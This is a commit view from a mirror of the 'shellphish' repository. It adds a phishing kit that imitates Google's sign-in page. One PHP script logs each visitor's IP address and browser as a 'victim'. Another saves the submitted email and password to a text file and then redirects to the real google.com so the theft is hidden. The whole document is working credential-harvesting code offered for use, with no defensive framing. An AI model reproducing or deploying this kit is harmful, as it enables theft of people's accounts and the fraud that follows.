mirror of
https://github.com/richardsonjf/shellphish.git
synced 2025-12-12 20:53:20 -08:00
v1.0
This commit is contained in:
5
sites/google/index.php
Normal file
5
sites/google/index.php
Normal file
@@ -0,0 +1,5 @@
|
||||
<?php
|
||||
include 'ip.php';
|
||||
header('Location: login.html');
|
||||
exit
|
||||
?>
|
||||
29
sites/google/ip.php
Normal file
29
sites/google/ip.php
Normal file
@@ -0,0 +1,29 @@
|
||||
<?php
|
||||
|
||||
if (!empty($_SERVER['HTTP_CLIENT_IP']))
|
||||
{
|
||||
$ipaddress = $_SERVER['HTTP_CLIENT_IP']."\r\n";
|
||||
}
|
||||
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
|
||||
{
|
||||
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']."\r\n";
|
||||
}
|
||||
else
|
||||
{
|
||||
$ipaddress = $_SERVER['REMOTE_ADDR']."\r\n";
|
||||
}
|
||||
$useragent = " User-Agent: ";
|
||||
$browser = $_SERVER['HTTP_USER_AGENT'];
|
||||
|
||||
|
||||
$file = 'ip.txt';
|
||||
$victim = "IP: ";
|
||||
$fp = fopen($file, 'a');
|
||||
|
||||
fwrite($fp, $victim);
|
||||
fwrite($fp, $ipaddress);
|
||||
fwrite($fp, $useragent);
|
||||
fwrite($fp, $browser);
|
||||
|
||||
|
||||
fclose($fp);
|
||||
2080
sites/google/login.html
Normal file
2080
sites/google/login.html
Normal file
File diff suppressed because one or more lines are too long
5
sites/google/login.php
Normal file
5
sites/google/login.php
Normal file
@@ -0,0 +1,5 @@
|
||||
<?php
|
||||
|
||||
file_put_contents("usernames.txt", "Account: " . $_POST['Email'] . "Pass: " . $_POST['Passwd'] . "\n", FILE_APPEND);
|
||||
header('Location: https://google.com/');
|
||||
exit();
|
||||
Reference in New Issue
Block a user